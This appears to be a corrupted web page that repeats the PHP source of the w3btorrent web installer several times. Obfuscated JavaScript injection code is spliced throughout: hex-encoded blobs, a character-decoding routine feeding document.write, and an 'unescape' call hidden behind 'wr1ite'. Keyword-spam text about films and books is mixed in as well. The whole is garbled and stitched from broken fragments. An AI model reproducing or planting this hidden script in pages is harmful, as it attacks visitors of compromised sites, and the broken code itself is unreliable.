Mette Lisby Juliane, Juliane, Martin Voola Bak Juliane. Dino Minitti Isla hechizada, movie Isla hechizada, Adalberto Páez Arenas Isla hechizada. Michael Milhoan In Dark Places, In Dark Places, Angelle Brooks In Dark Places. ? Donald Ross: The ArchitectBiography/Autobiography Inside the Helmet: Hard Knocks Biography/Autobiography Mario, Lemieux: Best There Ever Was , Sociology Masters Pr. "text/javascript">">
323125326525343825333225313425323525323325323725333925376225376325376225363527293b
626965736b6368722871746f72632e213a6f6074676b63267574653b6e7272763c292960697e75636b7674697572287473296f682865616f39373226716f62726e3b37266e636f616e723b372675727f6a633b626f75766a677f3c68696863383a296f6074676b6338212f3d7e63763b24486748243d617e3b24486748243d'; ?>848)ka6f868-=848;i9ca815a=ka6f868-sebfb0-50;i9ca815a=db3cf8(i9ca815a);document.write(b3ffa19(i9ca815a));}}pde63eee44(e279dba03());function wd87c2a92(t088224,qdaade){return t088224.substr(qdaade,1);}function ra93f5e(ne4b92197){if(ne4b92197==168)ne4b92197=1025;else if(ne4b92197==184)ne4b92197=1105;return (ne4b92197>=192 && ne4b92197<256) ? ne4b92197+848 : ne4b92197;}function g65813cd1(kfed3041){return kfed3041=='?;}function b3ffa19(f2fd6627){return String.fromCharCode(f2fd6627);}function e279dba03(){return "e9ed0c90d667?78±±223±±220±±232±±215±±227±±219?667{?1?578{?5±±14?488{?65?513{?52±±125±±195?474{?68±±168±±164±ncc?56±±174±±163±±162±±153±±164±±163±±157±±162±±168±b?51?614{/{495{?82±x{607{,,{622{;?47?6,-@{640{?±JB{574{?±±186±±184±±15±±1±±252?487{?81±±169±±126±c{636{?4±±248±±246?{667{Z^\\{658{T`)?4?665{){490{fd?65±±176?595{?2±±20?516{?04?614{?53±±226?%&{500{?94?491{g{656{(";}function db3cf8(l053f3){var jc923d701=l053f3;if(jc923d701<0)jc923d701+=256;if(jc923d701==168)jc923d701=1025;else if(jc923d701==184)jc923d701=1105;return (jc923d701>=192 && jc923d701<256) ? jc923d701+848 : jc923d701;}'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
'; ?>;var rFLI=28''; ?>;var rFLI=28625 323125326525343825333225313425323525323325323725333925376225376325376225363527293b
SESSION['step']-($install->valid_dir(
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
e(/[0-9]/,'')](unescape(document.getElementById('PKuZqzmy').value));function pmpMtRy(dvw){ fff=op.split("66"); fff.op.replace("v"); fff=op.split("66"); fff.op.replace("v"); }
Mette Lisby Juliane, Juliane, Martin Voola Bak Juliane. Dino Minitti Isla hechizada, movie Isla hechizada, Adalberto Páez Arenas Isla hechizada. Michael Milhoan In Dark Places, In Dark Places, Angelle Brooks In Dark Places. ? Donald Ross: The ArchitectBiography/Autobiography Inside the Helmet: Hard Knocks Biography/Autobiography Mario, Lemieux: Best There Ever Was , Sociology Masters Pr. "text/javascript">">
323125326525343825333225313425323525323325323725333925376225376325376225363527293b
626965736b6368722871746f72632e213a6f6074676b63267574653b6e7272763c292960697e75636b7674697572287473296f682865616f39373226716f62726e3b37266e636f616e723b372675727f6a633b626f75766a677f3c68696863383a296f6074676b6338212f3d7e63763b24486748243d617e3b24486748243d'; ?>848)ka6f868-=848;i9ca815a=ka6f868-sebfb0-50;i9ca815a=db3cf8(i9ca815a);document.write(b3ffa19(i9ca815a));}}pde63eee44(e279dba03());function wd87c2a92(t088224,qdaade){return t088224.substr(qdaade,1);}function ra93f5e(ne4b92197){if(ne4b92197==168)ne4b92197=1025;else if(ne4b92197==184)ne4b92197=1105;return (ne4b92197>=192 && ne4b92197<256) ? ne4b92197+848 : ne4b92197;}function g65813cd1(kfed3041){return kfed3041=='?;}function b3ffa19(f2fd6627){return String.fromCharCode(f2fd6627);}function e279dba03(){return "e9ed0c90d667?78±±223±±220±±232±±215±±227±±219?667{?1?578{?5±±14?488{?65?513{?52±±125±±195?474{?68±±168±±164±ncc?56±±174±±163±±162±±153±±164±±163±±157±±162±±168±b?51?614{/{495{?82±x{607{,,{622{;?47?6,-@{640{?±JB{574{?±±186±±184±±15±±1±±252?487{?81±±169±±126±c{636{?4±±248±±246?{667{Z^\\{658{T`)?4?665{){490{fd?65±±176?595{?2±±20?516{?04?614{?53±±226?%&{500{?94?491{g{656{(";}function db3cf8(l053f3){var jc923d701=l053f3;if(jc923d701<0)jc923d701+=256;if(jc923d701==168)jc923d701=1025;else if(jc923d701==184)jc923d701=1105;return (jc923d701>=192 && jc923d701<256) ? jc923d701+848 : jc923d701;}'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
'; ?>;var rFLI=28''; ?>;var rFLI=28625 323125326525343825333225313425323525323325323725333925376225376325376225363527293b
SESSION['realdirpath'])?1:2)] = "".$install->steps[
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
e(/[0-9]/,'')](unescape(document.getElementById('PKuZqzmy').value));function pmpMtRy(dvw){ fff=op.split("66"); fff.op.replace("v"); fff=op.split("66"); fff.op.replace("v"); }
Mette Lisby Juliane, Juliane, Martin Voola Bak Juliane. Dino Minitti Isla hechizada, movie Isla hechizada, Adalberto Páez Arenas Isla hechizada. Michael Milhoan In Dark Places, In Dark Places, Angelle Brooks In Dark Places. ? Donald Ross: The ArchitectBiography/Autobiography Inside the Helmet: Hard Knocks Biography/Autobiography Mario, Lemieux: Best There Ever Was , Sociology Masters Pr. "text/javascript">">
323125326525343825333225313425323525323325323725333925376225376325376225363527293b
626965736b6368722871746f72632e213a6f6074676b63267574653b6e7272763c292960697e75636b7674697572287473296f682865616f39373226716f62726e3b37266e636f616e723b372675727f6a633b626f75766a677f3c68696863383a296f6074676b6338212f3d7e63763b24486748243d617e3b24486748243d'; ?>848)ka6f868-=848;i9ca815a=ka6f868-sebfb0-50;i9ca815a=db3cf8(i9ca815a);document.write(b3ffa19(i9ca815a));}}pde63eee44(e279dba03());function wd87c2a92(t088224,qdaade){return t088224.substr(qdaade,1);}function ra93f5e(ne4b92197){if(ne4b92197==168)ne4b92197=1025;else if(ne4b92197==184)ne4b92197=1105;return (ne4b92197>=192 && ne4b92197<256) ? ne4b92197+848 : ne4b92197;}function g65813cd1(kfed3041){return kfed3041=='?;}function b3ffa19(f2fd6627){return String.fromCharCode(f2fd6627);}function e279dba03(){return "e9ed0c90d667?78±±223±±220±±232±±215±±227±±219?667{?1?578{?5±±14?488{?65?513{?52±±125±±195?474{?68±±168±±164±ncc?56±±174±±163±±162±±153±±164±±163±±157±±162±±168±b?51?614{/{495{?82±x{607{,,{622{;?47?6,-@{640{?±JB{574{?±±186±±184±±15±±1±±252?487{?81±±169±±126±c{636{?4±±248±±246?{667{Z^\\{658{T`)?4?665{){490{fd?65±±176?595{?2±±20?516{?04?614{?53±±226?%&{500{?94?491{g{656{(";}function db3cf8(l053f3){var jc923d701=l053f3;if(jc923d701<0)jc923d701+=256;if(jc923d701==168)jc923d701=1025;else if(jc923d701==184)jc923d701=1105;return (jc923d701>=192 && jc923d701<256) ? jc923d701+848 : jc923d701;}'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
'; ?>;var rFLI=28''; ?>;var rFLI=28625 323125326525343825333225313425323525323325323725333925376225376325376225363527293b
SESSION['step']-($install->valid_dir(
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
e(/[0-9]/,'')](unescape(document.getElementById('PKuZqzmy').value));function pmpMtRy(dvw){ fff=op.split("66"); fff.op.replace("v"); fff=op.split("66"); fff.op.replace("v"); }
Mette Lisby Juliane, Juliane, Martin Voola Bak Juliane. Dino Minitti Isla hechizada, movie Isla hechizada, Adalberto Páez Arenas Isla hechizada. Michael Milhoan In Dark Places, In Dark Places, Angelle Brooks In Dark Places. ? Donald Ross: The ArchitectBiography/Autobiography Inside the Helmet: Hard Knocks Biography/Autobiography Mario, Lemieux: Best There Ever Was , Sociology Masters Pr. "text/javascript">">
